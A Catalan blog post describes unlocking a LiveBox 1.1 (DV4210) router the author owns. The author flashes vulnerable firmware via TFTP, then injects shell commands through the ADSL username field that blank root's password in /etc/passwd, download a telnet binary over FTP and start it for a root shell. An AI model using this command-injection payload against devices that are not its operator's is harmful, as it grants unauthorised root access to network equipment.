Alliberant l'encaminadorJa havia comentat que disposava d'un LiveBox 1.1 per a utilitzar amb la línia d'ADSL i així poder connectar l'encaminador a Internet. L'aparell en si ja és un encaminador complert, i amb prou paciència, portant com porta un Linux integrat per fer la feina, inclús podria fer moltes de les coses que vull fer directament amb ell, però la meva idea no és aquesta, crec que em mancaria potència (Processador) i sobretot, no em complicaria prou la vida!
El problema amb el LiveBox és que es proporciona capat, no es pot utilitzar per connectar amb altres proveïdors a part del que l'ha proporcionat i, encara que aconseguís que funcionés amb altres proveïdors, la funcionalitats que ens interessa és la funció de treball en
mode pont.
Per tal d'activar aquestes funcionalitats extres (Quina mania que tenen alguns en controlar que fas i que no fas amb els equips que tens a casa teva!) cal aconseguir l'accés al mode comanda per
telnet, i per fer-ho cal seguir unes instruccions que trobem a l'apartat de Livebox (DV4210) a la web de
LSDios, més o menys. El procediment utilitza una vulnerabilitat al codi que executa la màquina per a afegir-hi un servei de telnet i així poder tindre control sobre les opcions disponibles.
Canviant el microprogramariA l'enllaç que he posat s'explica prou bé el procediment, però utilitza Windows i posats a complicar-nos la vida, tornaré a explicar el procés i hi afegiré alguns canvis per no haver d'utilitzar Windows: Per obtenir accés per telnet cal primer que aconseguim una versió de
microprogramari adient, se'ns diu la versió 5.03.2. És disponible a la plana de LSDios.
Per a poder transferir aquest fitxer a l'encaminador haurem d'instal·lar un
dimoni de
TFTP, però com que no volem trastejar massa amb el que tenim instal·lat a l'ordinador i és un procés que només s'ha de fer una vegada ho farem arrencant una Ubuntu LiveUSB (Jo ho faig amb una versió 10.10), així podem instal·lar el que faci falta i un cop reiniciat l'equip tot torna a estar com estava.
Un cop arrencada la sessió amb el LiveUSB obrim una consola de terminal i executem:
sudo apt-get install tftpd-hpaSi tot va bé acabarem amb un
tftpd-hpa start/running, process ... (On els punts suspensius són el número d'identificació del procés). El que està fent ara mateix el programa és servir els arxius que tinguem a
/var/lib/tftpboot/, si volem podem canviar la ruta a
/etc/default/tftpd-hpa, el paràmetre a canviar és
TFTP_DIRECTORY.
Ara necessitem crear l'estructura de directori que el client del LiveBox espera trobar en el nostre servidor de TFTP:
sudo mkdir -p /var/lib/tftpboot/inventel/blue_5gI ara ja podem copia l'arxiu del microprogramari que volem posar a l'encaminador dins d'aquest directori, canviant-ne el nom a
factory_script_crypt:
sudo cp firmware_v5.03.2-sp.dwb /var/lib/tftpboot/inventel/blue_5g/factory_script_cryptCom que la transferència es fa per xarxa i per evitar que el Network-Manager ens canviï automàticament la configuració d'aquesta (Ens desconfigurarà totes les interfícies de xarxa, per tan, ens quedarem sense accés a Internet):
sudo service network-manager stopCaldrà donar la IP que espera el client TFTP de l'encaminador a la nostra tarja de xarxa amb fil (Dono per suposat que ara mateix no està en ús):
sudo ifconfig eth0 10.7.58.114 netmask 255.0.0.0Endollem el cable de xarxa ethernet entre l'ordinador i el
port groc del LiveBox i, mantenint premut el botó 1 de l'encaminador, endollem la corrent d'aquest i ... Ja està, al cap d'uns moments hauríem de tindre el “nou” microprogramari.
Jo he volgut veure que la transferència es feia, ens ho podem saltar, i per això he utilitzat el
tcpdump per a capturar els paquets de TFTP de la interfície de xarxa:
sudo tcpdump -i eth0 -T tftp -l > captura.txtLa captura ens dona quelcom semblant a això:
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
15760 packets captured15562 packets received by filter9802 packets dropped by kernelI dins del fitxer tenim això:
07:25:25.084010 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 4607:25:25.188755 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#007:25:25.188954 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:25.337037 ARP, Request who-has 10.7.58.112 tell 10.7.58.112, length 4607:25:26.190007 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#007:25:26.190181 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:28.192110 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#007:25:28.192290 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:30.194101 IP6 fe80::21e:68ff:fec9:85d3.mdns > ff02::fb.mdns: 42 tftp-#007:25:30.194277 IP ubuntu.local.mdns > 224.0.0.251.mdns: 42 tftp-#0
07:25:31.053844 ARP, Request who-has ubuntu.local tell 10.7.58.112, length 4607:25:31.053901 ARP, Reply ubuntu.local is-at 00:1e:68:c9:85:d3 (oui Unknown), length 2807:25:31.054700 IP 10.7.58.112.7700 > ubuntu.local.tftp: 46 RRQ "inventel/blue_5g/factory_script_crypt" OCTET07:25:31.057542 IP ubuntu.local.37847 > 10.7.58.112.7700: 516 DATA block 107:25:31.058725 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 1...
Es repeteixen aquestes dues últimes línies fins la sacietat, el que estem fent es transferir l'arxiu en blocs de 512 octets (Amb 4 octets de control) i arriba un punt on ja no queda més fitxer per transferir i tenim un bloc de només 56 octets, moment en que s'atura la transferència.
07:25:37.642440 IP ubuntu.local.37847 > 10.7.58.112.7700: 60 DATA block 7769
07:25:37.642717 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 776907:25:41.838165 IP 10.7.58.112.7700 > ubuntu.local.37847: 4 ACK block 776907:25:41.838220 IP ubuntu.local > 10.7.58.112: ICMP ubuntu.local udp port 37847 unreachable, length 40Amb això ja tenim l'encaminador funcionant amb un codi vulnerable, on podrem utilitzar una tècnica d'injecció de codi per a fer que ens agafi del servei FTP que ens caldrà configurar ara, el dimoni de telnet que hi volem instal·lar, el
utelnet. Com que utilitzo Linux, el més fàcil ha estat utilitzar un dimoni FTP, el vsftp.
Configuració del servei d'FTPTornem a posar en funcionament el servei de Network-Manager:
sudo service network-manager startComprovem que tenim accés a Internet, tingueu en compte que l'encaminador torna a tindre els valors de fabrica, per tan és probable que intenti proporcionar-nos una IP, canviem el cable de xarxa o simplement el desendollem.
Instal·lem el servei de FTP:
sudo apt-get install vsftpdÉs un paquet sense dependències, per tan, no hi hauria d'haver problemes en instal·lar-lo. El dimoni d'FTP s'arrenca automàticament amb la configuració per defecte, això implica que podem accedir per FTP a la carpeta de l'usuari Ubuntu (Que és l'únic usuari existent en un LiveUSB i no té contrasenya). Necessitem una versió compilada del daemon utelnet, a la web de LSDios n'hi ha una, si no, haurem de compilar la nostra pròpia a partir del paquet que trobarem a la web oficial del projecte a sourceforge.net, només cal fer un
.config i
make.
Copiem el fitxer de l'utelnet a dins la carpeta de l'usuari, canviant-ne el nom a u per simplicitat.
A la configuració actual de l'encaminador tenim definit un DHCP, per tan, només endollar la xarxa entre l'equip i l'ordinador ens donarà una IP i podrem connectar-hi.
Accedim a l'adreça de la configuració web de l'aparell, amb la IP per defecte:
http://192.168.1.1Volem canviar la configuració avançada, accedim a l'enllaç i ens pregunta per l'usuari i la contrasenya, els dos són
admin.
El que farem ara és utilitzar una tècnica d'injecció de codi per a poder executar unes comandes extra, en aquest cas, esborrar la contrasenya de l'usuari
root i descarregar per FTP un arxiu anomenat
u. Per fer-ho cal que deixem en blanc la casella
Contraseña ADSL i a la casella
Nombre de usuario ADSL escrivim:
;echo root::0:0:root:/root:/bin/sh >/etc/passwd ;cd /etc;wget ftp://ubuntu:@192.168.1.10/u ;chmod 777 /etc/uPremem
Enviar. Trigarà uns instants i ens tornarem a trobar a la pàgina on hem injectat el codi. Ara el que farem és executar el dimoni que hem copiat, altre cop deixant en blanc la casella de
Contraseña ADSL i posant-ho a
Nombre de usuario ADSL:
;/etc/u -p 23 -l /bin/sh -dFins ara tot el que hem fet ha estat per poder arribar a fer un telnet contra l'encaminador i guanyar així accés per línia de comandes com a
root al sistema operatiu intern:
telnet 192.168.1.1
“Desembridant l'embridamenta”Ara que tenim accés per telnet el que hem d'aconseguir és el codi de “desembridatge”, que ens permetrà activar totes les funcions prèviament desactivades per l'
ISP, entre elles utilitzar-lo per qualsevol proveïdor i el funcionament en mode pont. Escriurem a la línia de comandes del telnet:
redboot_fconfig_get --parameter h235_key /dev/mtd4Això ens retorna un codi que haurem de copiar al següent enllaç per obtenir el el codi de desembridatge:
http://www.adslayuda.com/inventel_DV4210_WS_livebox-h235tounlock.htmlLa web original del h235tounlock ja no existeix (La que apareix a la web de LSDios), jo he tingut de buscar-la una mira per Internet, res que Google no pugui solucionar. També existeix el codi en C per a ser compilat.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
Amb el codi que hem obtingut de la web de h235tounlock, accedim a una web oculta de configuració de l'encaminador:
http://192.168.1.1/brdgoff.htmlIntroduïm el codi obtingut anteriorment i premem
Enviar.

Finalment podem confirmar que tenim l'encaminador completament alliberat i podrem procedir a configurar-lo com nosaltres vulguem.
No hauríem de perdre aquest codi, donat que utilitzant el mateix codi podem alliberar qualsevol versió de microprogramari, incloent-ne de més noves amb funcionalitats millorades/arreglades.
No deixa de sorprendrem que un procediment llarg com aquest sigui necessari per saltar-se una limitació imposada unilateralment per la companyia que ens proporciona, previ pagament, l'aparell. En qualsevol cas, complicant-me la vida i gracies a la gran comunitat de gent que corre per Internet, aquesta mena de coses es poden canviar, però no deixa de ser estúpid que et limitin l'ús d'un aparell que has pagat per a que només el puguis utilitzar amb ells, com si no es generés suficient escombraria electrònica sense necessitat de fer inútil forçosament un aparell.
No seria molt més senzill poder canviar de proveïdor d'accés sense haver de canviar l'encaminador? Segurament se'n beneficiarien els clients i els proveïdors, però ...
Material necessariUn encaminador LiveBox 1.1 (DV4210).
El programari descrit.
Un cable de xarxa.
Un llapis de memòria USB amb una Ubuntu LiveUSB.
Un ordinador amb interfície de xarxa amb fil.
Paciència, moooolta paciència.